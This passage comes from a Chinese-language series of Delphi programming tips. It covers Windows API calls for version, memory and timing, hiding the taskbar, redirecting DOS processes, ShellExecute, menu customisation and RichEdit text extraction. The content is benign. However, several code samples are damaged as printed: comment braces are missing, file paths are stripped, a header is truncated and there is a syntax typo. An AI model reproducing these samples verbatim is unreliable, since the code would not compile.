Table1.FindKey([SeekValue]);

Table1.EnableControls;

end;

end.

G 增强数据表的处理能力

对使用数据表的应用程序，怎样在减少代码维护的同时增加程序的性能？使用Delphi的数据模块就可以做到这一点。方法如下：

1 在程序计划中添加一个数据模块（Data Module）；

2 将数据表存取组件放到数据模块窗体上：为应用程序使用的每个数据表都添加一个TTable和TDataSource组件到数据模块窗体上，并正确设置它们的DatabaseName、TableName和DataSet属性。

3 在使用数据表的每个窗体上加入对数据模块单元的应用，这样就可以在这些窗体上使用数据控制组件了，将这些组件的DataSource设置为数据模块的合适的TDataSource组件。

使用数据模块窗体将所有数据表都集中起来后，有以下三个优点：第一，免去了向每个窗体均添加数据表存取组件；第二，如果同一数据字段在不同的窗体中使用并修改，这样的修改在不同的窗体间是共享的，而且不需要增加任何代码；第三，由于程序减少了在不同窗体上校验同一数据表的代码，所以程序的性能达到一定的改善。

DELPHI编程技巧集锦（3）

董占山

(中国农科院棉花研究所，河南安阳，455112)

五、操作系统相关的技巧

A 如何决定Windows的版本

Windows具有多个版本，一个应用程序或者具有运行在多个Windows版本下的灵活性，或者通过条件编译指令，编译成只能在一个操作平台下工作。

下面介绍一种方法，可以使应用程序能动态地决定Windows操作系统的版本。应用程序通过调用Windows API函数GetVersionEx可以获得Windows的版本信息，该函数使用一个TOSVersionInfo类的变参，所有Windows版本信息就包含在其中，其结构如下：

typedef struct _OSVERSIONINFO{

DWORD dwOSVersionInfoSize; //结构的大小

DWORD dwMajorVersion; //主版本

DWORD dwMinorVersion; //副版本

DWORD dwBuildNumber; //建立版本

DWORD dwPlatformId; //操作平台标识

TCHAR szCSDVersion[ 128 ]; //版本标识字符串

} OSVERSIONINFO;

下面是使用该函数的一个例子：

procedure TForm1.Button1Click(Sender: TObject);

var

VersionInfo: TOSVersionInfo;

begin

VersionInfo.dwOSVersionInfoSize := Sizeof(TOSVersionInfo);

GetVersionEx(VersionInfo);

case VersionInfo.dwPlatformID of

VER_PLATFORM_WIN32S:

Do_SomeThing;

VER_PLATFORM_WIN32_WINDOWS:

Do_SomeOtherThing;

VER_PLATFORM_WIN32_NT:

Do_SomeThingElse;

end;

end;

B 内存知多少?

下面介绍一种方法可以决定系统内存的多少、使用状态等信息。更重要的是，应用程序可以利用这项技术来决定客户机的可用内存的大小，利用这些信息，应用程序可以动态地优化程序的性能。例如，如果有足够的内存可以利用双缓存优化位图的操作。

利用Windows API函数GlobalMemoryStatus可以完成上述功能。GlobalMemoryStatus接收一个类型为TMemoryStatus的变参，通过这个参数就可以获得Windows当前的内存状态。TMemoryStatus的结构如下：

typedef struct _MEMORYSTATUS { // mst

DWORD dwLength; // sizeof(MEMORYSTATUS)，该记录结构的大小

DWORD dwMemoryLoad; // 使用内存所占百分比

DWORD dwTotalPhys; // 物理内存的字节数

DWORD dwAvailPhys; // 自由物理可用内存字节数

DWORD dwTotalPageFile; // 页文件字节数

DWORD dwAvailPageFile; // 页文件的自由字节数

DWORD dwTotalVirtual; // 地址空间的用户字节数

DWORD dwAvailVirtual; // 自由用户字节数

} MEMORYSTATUS, *LPMEMORYSTATUS;

下面是使用GlobalMemoryStatus函数的一个例子：

procedure TForm1.Button1Click(Sender: TObject);

var

MemoryStatus: TMemoryStatus;

begin

MemoryStatus.dwLength := sizeof(MemoryStatus);

GlobalMemoryStatus(MemoryStatus);

Label1.Caption := 'Total Physical Memory: ' + IntToStr(MemoryStatus.dwTotalPhys);

end;

C 获得消逝时间

在测试硬件或软件的效率时或跟踪用户的响应速度时，需要测定消逝的时间。多数程序员使用一个TDateTime变量和Now函数来实现测定消逝时间的目的。

但是，一种更简单的方法是使用Windows API函数GetTickCount。GetTickCount函数返回从启动Windows后消逝的毫秒数。如果函数成功地返回，返回值就是从启动Windows后消逝的毫秒数。下面是一个使用实例：

procedure TForm1.Button1Click(Sender: TObject);

var

i: longint;

StartTime, EndTime: Double;

const

CLOCK_TICK: Double = 1000;

begin

i := 0;

StartTime := GetTickCount;

while (i < 10000000) do i:= i+1;

EndTime := GetTickCount - StartTime;

ShowMessage(Format('消逝时间: %0.2f 秒',[EndTime/CLOCK_TICK]));

end;

D 隐藏/显示Windows 95的任务栏

想不想让你编写的Delphi程序具有隐藏/显示Windows 95任务栏的功能，在程序中使用下面的两个过程就可以实现这一功能。

procedure hideTaskbar;

var wndHandle : THandle;

wndClass : array[0..50] of Char;

begin

StrPCopy(@wndClass[0], 'Shell_TrayWnd');

wndHandle := FindWindow(@wndClass[0], nil);

// 隐藏任务栏

ShowWindow(wndHandle, SW_HIDE);

end;

procedure showTaskbar;

var wndHandle : THandle;

wndClass : array[0..50] of Char;

begin

StrPCopy(@wndClass[0], 'Shell_TrayWnd');

wndHandle := FindWindow(@wndClass[0], nil);

// 显示任务栏

ShowWindow(wndHandle, SW_RESTORE);

end;

E 捕获文件的日期和时间标志

希望显示文件的日期和时间标志吗？Delphi中没有一个简单的函数来完成这项功能，但是我们可以将两个函数结合起来实现这一功能。

首先，FileGetDate函数返回文件的DOS日期和时间，然后，FileDateToDateTime函数将日期和时间转换为TDateTime类型的变量，最后，DateTimeToStr过程将TDateTime类型的变量转换为字符串。实例如下：

procedure TForm1.Button1

var

TheFileDate: string;

Fhandle: integer;

begin

FHandle := FileOpen(YourFileName, 0);

try

TheFileDate :=

DateTimeToStr(FileDateToDateTime(FileGetDate(FHandle)));

finally

FileClose(FHandle);

end;

end;

使用DateTimeToStr的格式化参数可以调整输出结果的形式。即使你不需要显示日期和时间，也可以使用这项技术比较和计算文件日期。

F 避免驱动器A没有准备好错误（Not Ready error）

当你的程序存取A驱动器时，可能会被'Drive Not Ready'系统错误所中断，可以使用下面的函数来测试驱动器，以避免这种情况发生，代码如下：

function DiskInDrive(Drive: Char): Boolean;

var

ErrorMode: word;

begin

Drive: = UpCase(Drive);

if not (Drive in ['A'..'Z']) then

raise EConvertError.Create('Not a valid drive ID');

ErrorMode := SetErrorMode(SEM_FailCriticalErrors);

try

if DiskSize(Ord(Drive) - $40) = -1 then

DiskInDrive := False

else

DiskInDrive := True;

finally

SetErrorMode(ErrorMode);

end;

end;

本函数的工作原理是：首先将驱动器符转换为大写字母，然后关闭系统错误报告功能，执行磁盘操作，操作成功返回True，表明驱动器里存在磁盘；操作失败返回False，表明发生错误，函数结束时打开系统错误报告功能。

G 隐藏应用程序

假如你不仅想让应用程序隐藏窗体，同时不想让应用程序在任务栏上显示，可以使用如下命令：

ShowWindow (Application.handle, SW_HIDE);

这条命令对使用托盘区（System Tray）图标来激活的应用程序十分有用。

H 重定向DOS应用程序

有时，你需要重定向一个DOS应用程序。下面的代码可以帮助你完成这项工作：

{---------------------CreateDOSProcessRedirected------------------

Description : executes a (DOS!) app defined in the CommandLine

parameter redirected to take input from InputFile

and give output to OutputFile

Result : True on success

Parameters :

CommandLine : the command line for the app,

including its full path

InputFile : the ascii file where from the app

takes input

OutputFile : the ascii file to which the app's

output is redirected

ErrMsg : additional error message string.

Can be empty

Error checking : YES

Target : Delphi 2, 3, 4

Author : Theodoros Bebekis, email bebekis@otenet.gr

Notes :

Example call :

CreateDOSProcessRedirected('C:.exe',

'C:.txt',

'C:.txt',

'Please, record this message')

------------------------------------------------------------------}

function CreateDOSProcessRedirected(const CommandLine, InputFile,

OutputFile, ErrMsg :string):boolean;

const

ROUTINE_ID = '[function: CreateDOSProcessRedirected ]';

var

OldCursor : TCursor;

pCommandLine : array[0..MAX_PATH] of char;

pInputFile,

pOutPutFile : array[0..MAX_PATH] of char;

StartupInfo : TStartupInfo;

ProcessInfo : TProcessInformation;

SecAtrrs : TSecurityAttributes;

hAppProcess,

hAppThread,

hInputFile,

hOutputFile : THandle;

begin

Result := False;

{ Check for InputFile existence }

if not FileExists(InputFile)

then

raise Exception.CreateFmt(ROUTINE_ID + #10 + #10 +

'Input file * %s *' + #10 +

'does not exist' + #10 + #10 +

ErrMsg, [InputFile]);

{ Save the cursor }

OldCursor := Screen.Cursor;

Screen.Cursor := crHourglass;

{ Copy the parameter Pascal strings to null terminated

strings }

StrPCopy(pCommandLine, CommandLine);

StrPCopy(pInputFile, InputFile);

StrPCopy(pOutPutFile, OutputFile);

TRY

{ Prepare SecAtrrs structure for the CreateFile calls.

This SecAttrs structure is needed in this case because

we want the returned handle can be inherited by child

process. This is true when running under WinNT.

As for Win95, the documentation is quite ambiguous }

FillChar(SecAtrrs, SizeOf(SecAtrrs), #0);

SecAtrrs.nLength := SizeOf(SecAtrrs);

SecAtrrs.lpSecurityDescriptor := nil;

SecAtrrs.bInheritHandle := True;

{ Create the appropriate handle for the input file }

hInputFile := CreateFile(

pInputFile,

pointer to name of the file }

GENERIC_READ or GENERIC_WRITE,

access (read-write) mode }

FILE_SHARE_READ or FILE_SHARE_WRITE,

share mode }

@SecAtrrs,

pointer to security attributes }

OPEN_ALWAYS,

{how to create }

FILE_ATTRIBUTE_NORMAL

or FILE_FLAG_WRITE_THROUGH,

{ file attributes }

0 ); handle to file with attributes to copy }

{ Is hInputFile a valid handle? }

if hInputFile = INVALID_HANDLE_VALUE

then

raise Exception.CreateFmt(ROUTINE_ID + #10 + #10 +

'WinApi function CreateFile returned an' +

'invalid handle value' + #10 +

'for the input file * %s *' + #10 + #10 +

ErrMsg, [InputFile]);

{ Create the appropriate handle for the output file }

hOutputFile := CreateFile(

pOutPutFile,

pointer to name of the file }

GENERIC_READ or GENERIC_WRITE,

access (read-write) mode }

FILE_SHARE_READ or FILE_SHARE_WRITE,

share mode }

@SecAtrrs,

pointer to security attributes }

CREATE_ALWAYS,

{ how to create }

FILE_ATTRIBUTE_NORMAL

or FILE_FLAG_WRITE_THROUGH,

file attributes }

0 );

handle to file with attributes to copy }

{ Is hOutputFile a valid handle? }

if hOutputFile = INVALID_HANDLE_VALUE

then

raise Exception.CreateFmt(ROUTINE_ID + #10 + #10 +

'WinApi function CreateFile returned an' +

'invalid handle value' + #10 +

'for the output file * %s *' + #10 + #10 +

ErrMsg, [OutputFile]);

{ Prepare StartupInfo structure }

FillChar(StartupInfo, SizeOf(StartupInfo), #0);

StartupInfo.cb := SizeOf(StartupInfo);

StartupInfo.dwFlags := STARTF_USESHOWWINDOW or

STARTF_USESTDHANDLES;

StartupInfo.wShowWindow := SW_HIDE;

StartupInfo.hStdOutput := hOutputFile;

StartupInfo.hStdInput := hInputFile;

{ Create the app }

Result := CreateProcess(nil,

{ pointer to name of executable module }

pCommandLine,

{ pointer to command line string }

nil,

{ pointer to process security attributes }

nil,

{ pointer to thread security attributes }

True,

{ handle inheritance flag }

HIGH_PRIORITY_CLASS,

{ creation flags }

nil,

{ pointer to new environment block }

nil,

{ pointer to current directory name }

StartupInfo,

{ pointer to STARTUPINFO }

ProcessInfo);

{ pointer to PROCESS_INF }

{ wait for the app to finish its job and take the

handles to free them later }

if Result

then

begin

WaitforSingleObject(ProcessInfo.hProcess, INFINITE);

hAppProcess := ProcessInfo.hProcess;

hAppThread := ProcessInfo.hThread;

end

else

raise Exception.Create(ROUTINE_ID + #10 + #10 +

'Function failure' + #10 + #10 +

ErrMsg);

FINALLY

{ Close the handles.

Kernel objects, like the process and the files

we created in this case, are maintained by a usage

count. So, for cleaning up purposes, we have to

close the handles to inform the system that we don't

need the objects anymore }

if hOutputFile <> 0 then CloseHandle(hOutputFile);

if hInputFile <> 0 then CloseHandle(hInputFile);

if hAppThread <> 0 then CloseHandle(hAppThread);

if hAppProcess <> 0 then CloseHandle(hAppProcess);

{ Restore the old cursor }

Screen.Cursor:= OldCursor;

END;

end; { CreateDOSProcessRedirected }

DELPHI编程技巧集锦（4）

董占山

(中国农科院棉花研究所，河南安阳，455112)

I 在程序中启动其他程序的方法

使用ShellExecute函数（在单元shellapi中）可以执行一个程序或调入一个文件，不论这个文件是执行程序还是图象或文档等。函数的使用方法如下：

ShellExecute(Handle,'open',PChar(Edit1.Text),'','',SW_SHOWNORMAL);

ShellExecute(Handle,'open', 'c:.doc' ,'','',SW_SHOWNORMAL);

它的效果类似于在Windows资源管理器中双击了一个文件。如果执行函数成功，返回值就是打开的应用程序例程的句柄，或者是DDE服务器应用程序的句柄。如果执行函数失败，返回值是一个小于等于32的错误号。将'open'换为'print'，这个函数就可以打印指定的文件了。

J 利用系统图象列表

假如你需要存取WIN95的系统图象列表，这里给出具体方法。第一个函数将系统图象列表的索引保存到一个特殊类型的文件中：

function GetFileIcoIndex(Filename:String):Integer;

var

Ext: String;

ShFileInfo: TSHFILEINFO;

begin

Ext := filename;

ShGetFileInfo(PChar(Ext), 0, SHFileInfo,

SizeOf(SHFileInfo), SHGFI_SMALLICON or

SHGFI_SYSICONINDEX or SHGFI_TYPENAME);

result:= SHFileInfo.iIcon;

end;

下面将系统图象列表连接到TListView控件上。注意我们设置动态建立的图象列表的ShareImages属性为真，这可以确保我们不试图释放Windows系统拥有的图象。在窗体的OnCreate事件处理程序中加上：

with YourListView do

begin

SmallImages := TImageList.CreateSize(16,16);

SmallImages.ShareImages := True;

SmallImages.Handle := ShGetFileInfo('*.*', 0,

SHFileInfo, SizeOf(SHFileInfo), SHGFI_SMALLICON or

SHGFI_ICON or SHGFI_SYSICONINDEX);

LargeImages := TImageList.Create(nil);

LargeImages.ShareImages := True;

LargeImages.Handle := ShGetFileInfo('*.*', 0,

SHFileInfo, SizeOf(SHFileInfo), SHGFI_LARGEICON or

SHGFI_ICON or SHGFI_SYSICONINDEX);

end;

关闭窗体时，在其OnDestroy事件处理程序中加上以下代码，释放申请的系统资源：

YourListView.SmallImages.Free;

YourListView.LargeImages.Free;

K 使你的窗体保留在桌面的最上面

当我们想让一个窗体保留在桌面的最上面时，可以定义窗体的FormStyle属性，使窗体保持在最上面。但是，使用这种方法后，在切换窗体的模式时，窗体将闪烁。为了避免切换窗体模式时的闪烁，可以使用Windows API函数SetWindowPos来解决这一问题，使用方法如下：

SetWindowPos(Form1.handle, HWND_TOPMOST, Form1.Left, Form1.Top, Form1.Width, Form1.Height,0);

用实际窗体名称代替"Form1"，调用这个命令就可以将窗体设置为保留在桌面的最上面。如要将窗体切换回正常的窗体，调用下面的命令：

SetWindowPos(Form1.handle, HWND_NOTOPMOST, Form1.Left, Form1.Top, Form1.Width, Form1.Height,0);

L 跟踪Windows的临时目录

Window 95和NT都使用一个目录来保存临时文件，这个临时目录不是固定不变的，为了确保应用程序使用正确的临时文件目录，可以使用Windows API函数GetTempPath来获取这个目录的路径，使用格式如下：

DWORD GetTempPath(DWORD nBufferLength, LPTSTR lpBuffer );

为了方便使用这个Windows API函数获取临时文件目录路径，编写了一个Object Pascal函数：

function GetTempDirectory: String;

var

TempDir: array[0..255] of Char;

begin

GetTempPath(255, @TempDir);

Result := StrPas(TempDir);

end;

使用GetTempPath可以获得TMP环境变量指明的路径；如果TMP没有定义，可以获得TEMP环境变量指明的路径；若TMP和TEMP都不存在，就使用当前目录作为临时目录。

M 处理自己的热键

应用程序可以使用许多Windows默认的热键。但是，有时需要向窗体添加自己的热键。当用户键入他们时，怎样捕获它们呢？为了解决这个问题，首先应将窗体的KeyPreview属性设置为True，然后在窗体的OnKeyDown事件处理程序中添加如下代码：

if (ssCtrl in Shift) and (chr(Key) in ['A', 'a']) then ShowMessage('Ctrl-A');

OnKeyDown事件处理程序将捕获击键，并执行指定的代码。

六、Object Pascal编程技巧

A 调用基类初始化例程的简便方法

假如编写一个衍生类的初始化例程，并希望将参数传递给基类的初始化例程，一般使用如下方法：

TMyButton.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

{ Do custom things... }

end;

但是，如果衍生类的初始化例程与基类有相同的参数，就不必明确地指出基类的初始化方法和参数，只需要按如下方法调用即可：

TMyButton.Create(AOwner: TComponent);

begin

inherited;

{ Do custom things... }

end;

B 安全的数组循环

一个Object Pascal数组是一组同类元素的有序集合。如果你不知道数据的上下界值，怎么来存取其中的元素呢？使用Low和High函数可以保证你存取其中的每个元素，请看下面的实例：

var

MyArray : array[2..11] of integer;

Position : integer;

begin

for Position := Low(MyArray) to High(MyArray) do

MyArray[Position] := 0;

end;

使用这项技术，代码中不包含任何立即数，程序代码就相对独立于数组的上下界区间。另外，由于这两个函数调用在编译时就转换为常数，故不存在任何执行代价。

C 确保字段有效

将验证字段有效性的代码放在关闭窗体的按钮的OnClick事件处理程序中是很自然的事情。但是，为了确保在任何情况下都能验证字段的有效性，需要使用窗体的OnCloseQuery事件。这样，无论怎样关闭程序，都能保证字段得到验证，并保证了代码的唯一性。

procedure TForm1.FormCloseQuery(Sender: TObject;

var CanClose: Boolean);

begin

CanClose := False;

if (Edit1.Text = '') then begin

{错误处理}

end

else

if (RadioGroup1.ItemIndex < 0) then begin

{错误处理}

end

else

CanClose := True;

end;

在过程的起始处设置CanClose属性为False，确保OnCloseQuery不关闭窗体。然后，验证每一个字段并处理错误。最后，如果没有错误发生，设置CanClose为True。

D 快速定制程序的动态菜单

在编制应用程序时，我们有时需要根据用户的使用水平来动态地定制程序菜单，通常的做法是切换菜单项目（TMenuItem）组件的Enabled属性，从而禁止或打开一个菜单项目，这样做起来十分复杂并且容易出错。其实，通过给每个菜单项目的tag属性赋值，并根据用户的水平加以判断，就可以快速安全地定制程序菜单。方法如下：

1 按正常的方法建立菜单；

2 根据用户水平，给每个菜单项目的tag属性赋值，例如，将“文件”*“打开”和“文件”*“关闭”的属性设置为2，将“文件”*“新建”、“文件”*“保存”和“文件”*“打印”的tag属性设置为3；

3 在窗体的OnCreate事件处理程序中加上下列代码：

for i := 0 to MainMenu1.Items.Count -1 do

begin

if UserLevel < MainMenu1.Items[i].Tag then

MainMenu1.Items[i].Visible := False

else

MainMenu1.Items[i].Visible := True;

for j := 0 to MainMenu1.Items[i].Count -1 do

if UserLevel < MainMenu1.Items[i].Items[j].Tag then

MainMenu1.Items[i].Items[j].Visible := False

else

MainMenu1.Items[i].Items[j].Visible := True;

end;

4 这段代码可以根据用户的使用水平动态地决定哪个菜单项目显示或哪个菜单项目不显示。

上述代码只能动态地开关一个菜单的菜单条目，如果要同时动态改变所有菜单的菜单条目，需要使用窗体的Components属性，代码如下：

for i := 0 to ComponentCount -1 do

if Components[i] is TMenuItem then

TMenuItem(Components[i]).Visible :=

(UserLevel >= TMenuItem(Components[i]).Tag);

这段代码更加紧凑高效，是定制应用程序菜单的良好工具。

E 验证用户输入的日期

有经验的程序员知道不应该盲目接受用户输入的日期。诚然，你可以检查日期的年、月、日是否正确。但是，你检查日期是否实际存在？例如，假设用户输入9/31/97，月、日、年分别都是有效的，但是9月没有31号。为了检查一个日期字符串是否有效，可以使用如下代码：

var adatetime : tdatetime;

...

try

adatetime:=StrToDate(inputdatestring);

except

// EConvertError错误 - 无效的日期或日期格式

end;

这段代码对瑞年也同样有效。

F 建立全局条件定义

在编译程序时，用条件定义来决定包含或排除一块代码，由编译器决定哪块代码将是执行文件的一部分。通常的条件定义包括发送调试信息到一个文件和对Windows 95或Windows NT优化。下面是一个条件定义的实例：

unit Unit1;

{$DEFINE MYDEF1} //建立自己的条件定义

{$IFDEF MYDEF1} //如果宣布了条件定义

//更新标签的显示

Label1.Caption := 'MYDEF1 is declared.';

{$ENDIF}

有时，需要在一个项目的多个单元中使用同一个条件定义，可以采用下面的方法：

单击“Project”*“Options”，弹出Project Options对话窗口；

单击“Directories/Conditionals”标签；

在“Conditional Defines”编辑框中输入MYDEF1；

单击“Ok”按钮返回即可。

G 为TListBox组件添加水平滚动条

Delphi的TListBox组件会自动添加一个垂直滚动条，即当列表框的高度容纳不下所有的列表条目时，垂直滚动条就自动显示。但是，当条目的宽度大于列表框的宽度时，水平滚动条不会自动显示。当然, 可以在列表框中加如水平滚动条，方法是在窗体的OnCreate事件处理程序中加入如下代码：

procedure TForm1.FormCreate(Sender: TObject);

var

i, MaxWidth: integer;

begin

MaxWidth := 0;

for i := 0 to ListBox1.Items.Count - 1 do

if MaxWidth < ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]) then

MaxWidth := ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]);

SendMessage(ListBox1.Handle, LB_SETHORIZONTALEXTENT, MaxWidth+2, 0);

end;

这段代码先查找列表框中最长的条目的宽度（以象素点表示），然后, 用LB_SETHORIZONTALEXTENT消息来设置列表框的水平滚动条的宽度（以象素点表示），外加两个额外的象素。

H 用MessageDlg函数显示信息的技巧

Delphi提供了一种简单的方法显示信息对话窗口---使用MessageDlg函数在屏幕窗口中心显示一个对话窗口。MessageDlg函数的声明如下：

function MessageDlg(const Msg: string; AType: TMsgDlgType;

AButtons: TMsgDlgButtons; HelpCtx: Longint): Word;

从其函数声明中，看不出它可以显示可变的信息。但并非如此，它可以显示可变信息，通过将变量连接到显示信息字符串中，而且可以在字符串中加入#13，使其后的信息在新的一行上显示。请看实例：

procedure TForm1.Button1Click(Sender: TObject);

var

ErrorDescr: string;

begin

ErrorDescr := 'Call 911';

MessageDlg('Error Code: 123'+#13+ErrorDescr,mtInformation,[mbOk],0);

end;

I 动态删除TListView组件的列

如果曾经试着在运行时删除一个TListView组件的列，就知道它不允许这样做。真的不能吗？这里介绍一个文档中没有介绍的Delphi函数，使用它可以做到这一点。这个函数在CommCtrl单元中定义，函数声明如下：

function ListView_DeleteColumn(hwnd: HWND; iCol: Integer): Bool;

其中，hwnd是TListView组件的句柄，iCol是欲删除的列的索引号，注意索引号是从零开始计算的。下面给出一个使用实例：

procedure TForm1.Button1Click(Sender: TObject);

begin

ListView_DeleteColumn(MyListView.Handle, 1);

end;

J 存取保护类属性

有时，需要存取在别处声明的保护类属性，最简单的方法是在自己的单元中使用下面的声明：

TExposed<classname> = class(<classname>);

例如：

TExposedWinControl = class(TWinControl);

因为TExposedbutton现在是在你的单元中声明的，所以你可以存取被保护的所有属性---包括继承下来的。怎么使用呢？使用实例如下：

if Sender is TWinControl then

with TExposedWinControl(Sender) do

begin

//Caption & Text在TWinControl中是一样的

ShowMessage(Caption);

Text := 'Easy, isn''t it?';

end;

K 在调试程序时使用Format代替IntToStr函数

如果你以前是一个Visual Basic用户，当显示调试信息时，你可能在MsgBox函数中使用Format$来显示变量，但是，在Delphi中, Format函数的工作方式相当不同，所以许多用户借助于下面的代码：

ShowMessage('Undocumented feature in ' + Application.EXEName +

' Variable now equal to ' + IntToStr(i_var));

为了使用Format函数, 需要知道使用哪个Format串。Format串看起来十分复杂，但是仅仅需要知道其中的3个，它们相当于占位符号，将会用Format函数的第二个参数中的变量来替代。这3个字符串是：

%d -- 代表一个整型数

%n -- 代表一个浮点数

%s -- 代表一个字符串

因此，上面的例子将改为：

ShowMessage(Format('Undocumented feature in %s. Variable is now equal to %d',

[Application.EXEName,i_var]))

它们的结果是一样的，但是代码更加清晰并且容易修改。

当要显示大量变量时，Format函数就显示出其真正的威力，见下例：

ShowMessage(Format('V1=%d and F2=%n in routine %s',[V1,F2,'UNIT2.PAS']));

另外，用MessageBox代替MessageDlg或ShowMessage函数可以压缩EXE文件的大小，也可以使用Format函数做到这一点，例子如下：

Var sz:Array[0..255] of Char;

MessageBox(0,StrPCopy(sz,Format('V1=%d and F2=%n in routine %s',

[V1,F2,'UNIT2.PAS'])),'DEBUG',64);

一旦你开始应用Delphi的Format函数，你就会越来越少地借助于IntToStr函数!

DELPHI编程技巧集锦（5）

董占山

(中国农科院棉花研究所，河南安阳，455112)

L 使用非VCL类

在Delphi中重用代码是十分容易的，但是写一个存取常用代码的VCL是十分复杂的，为什么不写一个类单元呢？在一个大型项目中，维护和调试一个类是比较容易的，因为每个类是自包含的，没有全局变量的干扰。下面是一个类的框架：

unit cls_mine;

interface

Uses WinTypes,Winprocs,Messages, SysUtils, Classes;

Type

TMYCLASS = class(TObject)

private

{ Private Variables and Hidden Functions }

fstarted:Boolean

fflag:Boolean;

Procedure SetFlag(truefalse:Boolean);

Function GetFlag:Boolean;

public

{ Public Methods and Properties}

Function Init:Boolean;

Function GetExeDirectory:String

Property Started Read fstarted Write fstarted;

Property MyFlag Read GetFlag Write SetFlag;

end;

implementation

Function TMYCLASS.Init:boolean;

begin

fstarted:=True;

.. initialise stuff ..

end;

etc.etc.

当使用类时，在Uses子句中加上cls_mine，声明一个TMYCLASS类型的变量MYCLASS，然后调用MYCLASS.Create建立类（记住在不使用类时调用MYCLASS.Free注销类），你能够使用其方法和属性，如EXEDIR:=MYCLASS.GetEXEDirectory或MYCLASS.MyFlag:=True，就象使用VCL类一样，不需要每次重新编译这个单元。

M 获得TMEMO组件中光标所在的行数

如果TMEMO能够告诉你光标在哪一行不是很好吗？但是，当你单击TMEMO组件时，它设置SelStart属性为当前光标的字符位置，这是TMEMO中所有文本的一个位置索引值，你需要计算行长并测试SelStart，将其翻译为行数，使用Windows API函数可以很容易地获得TMEMO组件中光标所在的行数：

LineNumber:=SendMessage(Memo1.Handle,EM_LINEFROMCHAR,memo1.Selstart,0);

LineNumber是一个LongInt型变量，可以将它转换为一个Integer型变量。

N 让用户选择所有的项目

为了允许用户在记忆组件和编辑组件中可以按<CTRL+A>来选择所有的文本，设置窗体的KeyPreview属性为真，并为窗体的OnKeyPress事件编写如下的处理程序：

procedure TMyForm.FormKeyPress(Sender: TObject;

var Key: Char); begin

if (ActiveControl is TCustomEdit) and (Key=#1) then

begin (ActiveControl as TCustomEdit).SelectAll;

Key:=#0; end

end;

Key:=#0语句使在非文本输入时强迫程序发嘟嘟声。

O 怎样在RichEdit组件中获得一段文本

在使用RichEdit组件时，希望仅仅获得其中的一部分文本，但是不想设置选择区间和使用SelText属性，可以使用如下代码实现：

{overrides wrong TTextRange definition in RichEdit.pas}

TTextRange = record

chrg: TCharRange;

lpstrText: PAnsiChar;

end;

function REGetTextRange(RichEdit: TRichEdit; BeginPos, MaxLength: Integer): string;

{RichEdit - RichEdit控件，BeginPos - 第一个字符的绝对索引值，MaxLength - 获取的最大字符数}

var

TextRange: TTextRange;

begin

if MaxLength>0 then

begin

SetLength(Result, MaxLength);

with TextRange do

begin

chrg.cpMin := BeginPos;

chrg.cpMax := BeginPos+MaxLength;

lpstrText := PChar(Result);

end;

SetLength(Result, SendMessage(RichEdit.Handle,

EM_GETTEXTRANGE, 0, longint(@TextRange)));

end

else Result:='';

end;

这个函数能够用来提取当前光标下的单词：

function RECharIndexByPos(RichEdit: TRichEdit;

X, Y: Integer): Integer;

{ function returns absolute character position }

{ for given cursor coordinates }

var

P: TPoint;

begin

P := Point(X, Y);

Result := SendMessage(RichEdit.Handle,

EM_CHARFROMPOS, 0, longint(@P));

end;

function REExtractWordFromPos(RichEdit: TRichEdit;

X, Y: Integer): string;

{ X, Y - point coordinates in rich edit control }

{returns word , under current cursor position}

var

BegPos, EndPos: Integer;

begin

BegPos := RECharIndexByPos(RichEdit, X, Y);

if (BegPos < 0) or

(SendMessage(RichEdit.Handle,EM_FINDWORDBREAK,

WB_CLASSIFY,BegPos) and

(WBF_BREAKLINE or WBF_ISWHITE) <> 0 ) then

begin

result:='';

exit;

end;

if SendMessage(RichEdit.Handle, EM_FINDWORDBREAK,

WB_CLASSIFY, BegPos - 1) and

(WBF_BREAKLINE or WBF_ISWHITE) = 0 then

BegPos := SendMessage(RichEdit.Handle,

EM_FINDWORDBREAK, WB_MOVEWORDLEFT, BegPos);

EndPos := SendMessage(RichEdit.Handle,

EM_FINDWORDBREAK, WB_MOVEWORDRIGHT, BegPos);

Result := TrimRight(REGetTextRange(RichEdit, BegPos,

EndPos - BegPos));

end;

P 在Delphi 3中如何使用interface类型询问所有的窗体

一个窗体是一个TComponent组件, 它提供了一个COM对象(VCLComObject/ComObject)包裹器。因此, 它不需要_AddRef/_Release自己, 但是需要_AddRef/_Release它包裹的对象。在Delphi 3中，这意味着组件（窗体）需要实现一个哑对象，用来进行参考计数。在Delphi 4中, 就不需要赋值一个哑对象，因为Delphi只有在对象被赋值时才_AddRef/_Release它们。下面的例子就一个IShowMe界面类型询问所有的窗体：

procedure ExecuteShowMeOnAllForms;

var

Idx : integer;

ShowMeObject : IShowMe;

ObjectAssigned : boolean;

RefCountedObject : IUnknown;

begin

RefCountedObject := TInterfacedObject.Create;

for Idx := Screen.FormCount - 1 downto 0 do

with Screen.Forms[Idx] do begin

// Find out if we need to assign a VCLComObject.

ObjectAssigned := not Assigned (VCLComObject);

if ObjectAssigned then

VCLComObject := Pointer (RefCountedObject);

try

// GetInterface calls ShowMeObject's _Release

// & _AddRef, which is

// implemented by RefCountedObject.

if GetInterface (IShowMe, ShowMeObject) then

ShowMeObject.ShowMe;

finally

if ObjectAssigned then begin

ShowMeObject := nil; // Calls VCLComObject._Release.

VCLComObject := nil; // Now we can safely

// reset VCLComObject.

end;

end;

end;

end;

Q 在应用程序中广播信息

VCL使用TWinControl的Broadcast方法通知应用程序中所有的类。一个控制必须解释一个事件句柄来对消息作出反应，如果你希望停止这条消息，让Message.Result返回0即可。

var i: integer;

hMessage: TMessage;

begin

hMessage.Msg := WM_USER + 1;

hMessage.WParam := 0;

hMessage.LParam := 0;

for i := 0 to Screen.FormCount-1 do

Screen.Forms[i].Broadcast(hMessage);

end;

TScreen类拥有应用程序中所有的窗体。事件句柄如下：

TMyButton = class(TButton)

protected

procedure EventHandler(var Message: TMessage);

message WM_USER + 1;

end;

..

procedure TMyButton.EventHandler(var Message: TMessage);

begin

// commands

Message.Result := 0; // Event continues

end;

R 千年虫问题

在SysUtils单元有一个全局字型（Word）变量TwoDigitYearCenturyValue，默认值为0，可以解决某些Y2K问题。它是如何起作用呢？

如果今天的日期是10/22/1998, 减去TwoDigitYearCenturyWindow的值，即：1998 - 50 = 1948, 在日期区间48-98之间的任何日期将具有第一个日期的世纪数，即10/22/1998中的'19'。

